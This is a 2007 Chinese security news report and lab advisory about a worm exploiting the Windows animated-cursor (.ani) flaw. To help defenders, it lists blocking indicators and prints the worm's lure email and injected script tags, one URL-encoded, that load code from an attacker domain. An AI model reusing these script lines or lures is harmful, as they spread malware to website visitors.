光标漏洞的复合型蠕虫现身 Vista操作系统曝出首个重大漏洞
光标漏洞的复合型蠕虫现身 Vista操作系统曝出首个重大漏洞
3月30日,微软Vista操作系统曝出首个重大漏洞。昨天,瑞星反病毒专家发现该漏洞已经开始被黑客利用,使用Windows Vista和XP的用户,在访问带毒网站时会被威金病毒、盗号木马(木马查杀软件下载)等多种病毒感染。据监测,国内已有近十个网站被黑客攻陷。
此前,微软公司曾发出警告称,攻击者正在积极利用Windows动画光标(.ani)文件中一个未修复漏洞。这个漏洞将影响Windows XP以上操作系统和IE6以上的浏览器,微软最新的Vista和IE7都不能幸免。目前微软还没有发布此漏洞的补丁。
据瑞星安全专家介绍,ANI文件是Windows鼠标动态光标文件,由于Vista等系统在处理ANI文件的方式上存在漏洞,黑客可以构造特殊格式的ANI文件,当用户浏览含有该文件的网页,或点击该文件就会自动下载运行黑客指定的病毒、木马及后门程序等。目前利用该漏洞的病毒中,威金(Worm.Viking)变种及窃取网络游戏的木马病毒占多数。
这是Vista系统第一次曝出重大漏洞,利用该漏洞传播病毒的网站数量正逐步增多,攻击代码很可能已经公开。
安全专家提醒普通网民不要轻易登陆陌生网站,尤其是通过电子邮件、聊天软件等发送来的陌生网址。网站的管理员,应该加强对自己服务器日志的管理,尤其要注意不明来源的ANI及JPG等格式图片文件,一旦出现异常尽快处理。
------------------C.I.S.R.T.信息------------------
一个非常不好的消息要告诉大家,利用微软动画光标漏洞的新蠕虫已经现身。我们收到了相关的样本,通过分析,我们已经确认这是一个复合型蠕虫,含有类似熊猫烧香的感染功能、下载其他病毒的功能、发送含有最新.ani漏洞网址邮件的功能、感染html等文件并向这些文件里添加含有最新漏洞网址的功能。由于危险程度非常高,CISRT Lab决定再次发布中度风险警报,提醒广大网友提高警惕!
同时我们建议广大网友、企业网管对以下两个域名和IP进行屏蔽:
2007ip.com
microfsot.com
61.153.247.76
蠕虫的大小在13K左右,会释放文件到以下目录:
%SYSTEM%\sysload3.exe
添加注册表键值:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"System Boot Check"="%SYSTEM%\sysload3.exe"
会发送邮件:
From: i_lov e_cq@sohu. com
Subject:你和谁视频的时候被拍下的?给你笑死了!
Body:
看你那小样!我看你是出名了!
你看这个地址!你的脸拍的那么清楚!你变明星了!
http://macr.micr of sot.com/<remove d>/134952.htm
感染.HTML .ASPX .HTM .PHP .JSP .ASP和 .EXE文件,并向.HTML .ASPX .HTM .PHP .JSP .ASP文件里植入以下代码:
<script src=http://macr.microfsot.com/<removed>.js></script>
或者
<script language="javascript" src="http://%6D%6 1%63 %72%2E%6D%69%63%72%6F%66%73%6F%74%2E%63%6F%6D/<removed>.js"></script>
注意邮件和网页中提到的网址中都含有.ani 0-day漏洞的恶意文件。
Kaspersky检测为Trojan-Downloader.Win32.Agent.bky,毒霸命名为Worm.MyInfect
目前我们收到样本的MD5值为
99720c731d19512678d9594867024e7e
4ebca8337797302fc6003eb50dd6237d
e9100ce97a5b4fbd8857b25ffe2d7179
2007.3.31 22:45第一次更新:
作者在蠕虫体内表达了对Kaspersky的不满